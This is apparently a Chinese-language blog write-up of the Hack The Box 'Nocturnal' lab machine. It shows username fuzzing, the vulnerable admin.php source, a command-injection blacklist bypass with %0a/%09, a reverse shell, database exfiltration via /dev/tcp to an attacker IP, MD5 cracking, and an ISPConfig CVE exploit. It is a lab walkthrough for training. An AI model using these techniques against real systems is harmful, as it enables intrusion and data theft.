HTB-Nocturnal

HTB-Nocturnal

信息收集

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
 rustscan -a 10.10.11.64 --range 1-65535 -- -sV
[!] File limit is lower than default batch size. Consider upping with --ulimit. May cause harm to sensitive servers
[!] Your file limit is very small, which negatively impacts RustScan's speed. Use the Docker image, or up the Ulimit with '--ulimit 5000'.
Open 10.10.11.64:22
Open 10.10.11.64:80
[~] Starting Nmap
[>] The Nmap command to be run is nmap -sV -vvv -p 22,80 10.10.11.64

Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-04-17 20:30 -06
NSE: Loaded 46 scripts for scanning.
Initiating Ping Scan at 20:30
Scanning 10.10.11.64 [4 ports]
Completed Ping Scan at 20:30, 0.27s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 20:30
Completed Parallel DNS resolution of 1 host. at 20:31, 13.00s elapsed
DNS resolution of 1 IPs took 13.01s. Mode: Async [#: 1, OK: 0, NX: 0, DR: 1, SF: 0, TR: 3, CN: 0]
Initiating SYN Stealth Scan at 20:31
Scanning 10.10.11.64 [2 ports]
Discovered open port 80/tcp on 10.10.11.64
Discovered open port 22/tcp on 10.10.11.64
Completed SYN Stealth Scan at 20:31, 0.25s elapsed (2 total ports)
Initiating Service scan at 20:31
Scanning 2 services on 10.10.11.64
Completed Service scan at 20:31, 6.56s elapsed (2 services on 1 host)
NSE: Script scanning 10.10.11.64.
NSE: Starting runlevel 1 (of 2) scan.
Initiating NSE at 20:31
Completed NSE at 20:31, 1.16s elapsed
NSE: Starting runlevel 2 (of 2) scan.
Initiating NSE at 20:31
Completed NSE at 20:31, 1.32s elapsed
Nmap scan report for 10.10.11.64
Host is up, received echo-reply ttl 63 (0.25s latency).
Scanned at 2025-04-17 20:31:01 -06 for 9s

PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 63 OpenSSH 8.2p1 Ubuntu 4ubuntu0.12 (Ubuntu Linux; protocol 2.0)
80/tcp open http syn-ack ttl 63 nginx 1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 23.98 seconds
Raw packets sent: 6 (240B) | Rcvd: 3 (116B)

22和80端口开放,将ip和域名添加到/etc/hosts中 进行一个映射。

image-20250418114113726

只有一个登录框和注册框,这里注册存在的用户的话是失败的。

image-20250418114442551

这里先随便注册一个账号,后面是一个白名单的文件上传,找一个符合条件的上传上去看看。

image-20250418115151247

fuzz用户名

看下面的这个,看一下地址信息。

1
http://nocturnal.htb/view.php?username=admin1&file=1.pdf

主要是这个username和file参数,file参数尝试任意文件下载没有,这个username可以用来fuzz遍历用户名。

image-20250418115407093

image-20250418115446283

1
2
ffuf -u 'http://nocturnal.htb/view.php?username=FUZZ&file=1.pdf' -w /usr/share/wordlists/fuzzDicts/userNameDict/user.txt -H 'Cookie: PHPSESSID=28v1paku69psnjsabl7a6n4vpd' -mc 200 -fs 2985
//-fs 是过滤响应包大小为2985

image-20250418163430540

image-20250418165941273

探测到四个用户。

当访问 amanda 这个用户的时候,下面有一个文件。

代码审计

image-20250418170153485

下载下来看看。

里面有个密码,ssh登录失败,那就尝试登录后台。

image-20250418171437561

image-20250418172544578

点击上面框起来的。

image-20250418173043520

再admin.php中有一个能进行命令执行的地方。

image-20250418173651587

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
<?php
session_start();

if (!isset($_SESSION['user_id']) || ($_SESSION['username'] !== 'admin' && $_SESSION['username'] !== 'amanda')) {
header('Location: login.php');
exit();
}

function sanitizeFilePath($filePath) {
return basename($filePath); // Only gets the base name of the file
}

// List only PHP files in a directory
function listPhpFiles($dir) {
$files = array_diff(scandir($dir), ['.', '..']);
echo "<ul class='file-list'>";
foreach ($files as $file) {
$sanitizedFile = sanitizeFilePath($file);
if (is_dir($dir . '/' . $sanitizedFile)) {
// Recursively call to list files inside directories
echo "<li class='folder'>📁 <strong>" . htmlspecialchars($sanitizedFile) . "</strong>";
echo "<ul>";
listPhpFiles($dir . '/' . $sanitizedFile);
echo "</ul></li>";
} else if (pathinfo($sanitizedFile, PATHINFO_EXTENSION) === 'php') {
// Show only PHP files
echo "<li class='file'>📄 <a href='admin.php?view=" . urlencode($sanitizedFile) . "'>" . htmlspecialchars($sanitizedFile) . "</a></li>";
}
}
echo "</ul>";
}

// View the content of the PHP file if the 'view' option is passed
if (isset($_GET['view'])) {
$file = sanitizeFilePath($_GET['view']);
$filePath = __DIR__ . '/' . $file;
if (file_exists($filePath) && pathinfo($filePath, PATHINFO_EXTENSION) === 'php') {
$content = htmlspecialchars(file_get_contents($filePath));
} else {
$content = "File not found or invalid path.";
}
}

function cleanEntry($entry) {
$blacklist_chars = [';', '&', '|', '$', ' ', '`', '{', '}', '&&'];

foreach ($blacklist_chars as $char) {
if (strpos($entry, $char) !== false) {
return false; // Malicious input detected
}
}

return htmlspecialchars($entry, ENT_QUOTES, 'UTF-8');
}


?>

<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Admin Panel</title>
<link href="https://fonts.googleapis.com/css2?family=Poppins:wght@300;400;600&display=swap" rel="stylesheet">
<style>
body {
font-family: 'Poppins', sans-serif;
background-color: #1a1a1a;
margin: 0;
padding: 0;
color: #ff8c00;
display: flex;
justify-content: center;
align-items: center;
min-height: 100vh;
}

.container {
background-color: #2c2c2c;
width: 90%;
max-width: 1000px;
padding: 30px;
box-shadow: 0 8px 20px rgba(0, 0, 0, 0.5);
border-radius: 12px;
}

h1, h2 {
color: #ff8c00;
font-weight: 600;
}

form {
display: flex;
flex-direction: column;
gap: 15px;
margin-bottom: 30px;
}

input[type="password"] {
padding: 12px;
font-size: 16px;
border: 1px solid #555;
border-radius: 8px;
width: 100%;
background-color: #333;
color: #ff8c00;
}

button {
padding: 12px;
font-size: 16px;
background-color: #2d72bc;
color: white;
border: none;
border-radius: 8px;
cursor: pointer;
transition: background-color 0.3s ease;
}

button:hover {
background-color: #245a9e;
}

.file-list {
list-style: none;
padding: 0;
}

.file-list li {
background-color: #444;
padding: 15px;
margin-bottom: 10px;
border-radius: 8px;
display: flex;
align-items: center;
}

.file-list li.folder {
background-color: #3b3b3b;
}

.file-list li.file {
background-color: #4d4d4d;
}

.file-list li a {
color: #ff8c00;
text-decoration: none;
margin-left: 10px;
}

.file-list li a:hover {
text-decoration: underline;
}

pre {
background-color: #2d2d2d;
color: #eee;
padding: 20px;
border-radius: 8px;
overflow-x: auto;
font-family: 'Courier New', Courier, monospace;
}

.message {
padding: 15px;
border-radius: 8px;
margin-top: 15px;
background-color: #e7f5e6;
color: #2d7b40;
font-weight: 500;
}

.error {
background-color: #f8d7da;
color: #842029;
}

.backup-output {
margin-top: 20px;
padding: 15px;
border: 1px solid #555;
border-radius: 8px;
background-color: #333;
color: #ff8c00;
}
</style>
</head>
<body>
<div class="container">
<h1>Admin Panel</h1>

<h2>File Structure (PHP Files Only)</h2>
<?php listPhpFiles(__DIR__); ?>

<h2>View File Content</h2>
<?php if (isset($content)) { ?>
<pre><?php echo $content; ?></pre>
<?php } ?>

<h2>Create Backup</h2>
<form method="POST">
<label for="password">Enter Password to Protect Backup:</label>
<input type="password" name="password" required placeholder="Enter backup password">
<button type="submit" name="backup">Create Backup</button>
</form>

<div class="backup-output">

<?php
if (isset($_POST['backup']) && !empty($_POST['password'])) {
$password = cleanEntry($_POST['password']);
$backupFile = "backups/backup_" . date('Y-m-d') . ".zip";

if ($password === false) {
echo "<div class='error-message'>Error: Try another password.</div>";
} else {
$logFile = '/tmp/backup_' . uniqid() . '.log';

$command = "zip -x './backups/*' -r -P " . $password . " " . $backupFile . " . > " . $logFile . " 2>&1 &";

$descriptor_spec = [
0 => ["pipe", "r"], // stdin
1 => ["file", $logFile, "w"], // stdout
2 => ["file", $logFile, "w"], // stderr
];

$process = proc_open($command, $descriptor_spec, $pipes);
if (is_resource($process)) {
proc_close($process);
}

sleep(2);

$logContents = file_get_contents($logFile);
if (strpos($logContents, 'zip error') === false) {
echo "<div class='backup-success'>";
echo "<p>Backup created successfully.</p>";
echo "<a href='" . htmlspecialchars($backupFile) . "' class='download-button' download>Download Backup</a>";
echo "<h3>Output:</h3><pre>" . htmlspecialchars($logContents) . "</pre>";
echo "</div>";
} else {
echo "<div class='error-message'>Error creating the backup.</div>";
}

unlink($logFile);
}
}
?>

</div>

<?php if (isset($backupMessage)) { ?>
<div class="message"><?php echo $backupMessage; ?></div>
<?php } ?>
</div>
</body>
</html>

image-20250418173927028

$command中密码是可控的。同时也对密码做了以下的限制。

image-20250418174023157

利用%0a和%09进行绕过。

image-20250418181506022

1
首先上传一个sh反弹shell的文件,然后再bash xxx.sh执行一下

image-20250418185101884

image-20250418185108192

1
python3 -c 'import pty;pty.spawn("/bin/bash")'  //交互性shell

image-20250418185944467

找到一个db文件下载下来。

ssh密码爆破

1
cat nocturnal_database.db > /dev/tcp/10.10.14.89/8888

image-20250418190253854

image-20250418190303608

image-20250418191810578

home目录下的是tobias用户,解一下这个密码。

1
john --format=raw-md5 --wordlist=/usr/share/wordlists/rockyou.txt 1.txt 

image-20250418192350442

ssh直接登录。接着进行信息收集,内网有个8080端口。

ispconfig提权

image-20250418194708034

image-20250418194745491

同时再www目录下发现一个ispconfig,应该就是这个服务了,端口映射一下看看。

image-20250418194354815

1
ssh -L 8888:127.0.0.1:8080 tobias@10.10.11.64 

image-20250418195153818

果然是那个服务。

github上找到利用的exp。

https://github.com/ajdumanhug/CVE-2023-46818

它这个后台的用户名是admin 密码的话是之前爆破出来的ssh的密码。

image-20250418200204611


HTB-Nocturnal
http://example.com/2025/04/17/HTB-Nocturnal/
作者
FSRM
发布于
2025年4月17日
更新于
2025年4月18日
许可协议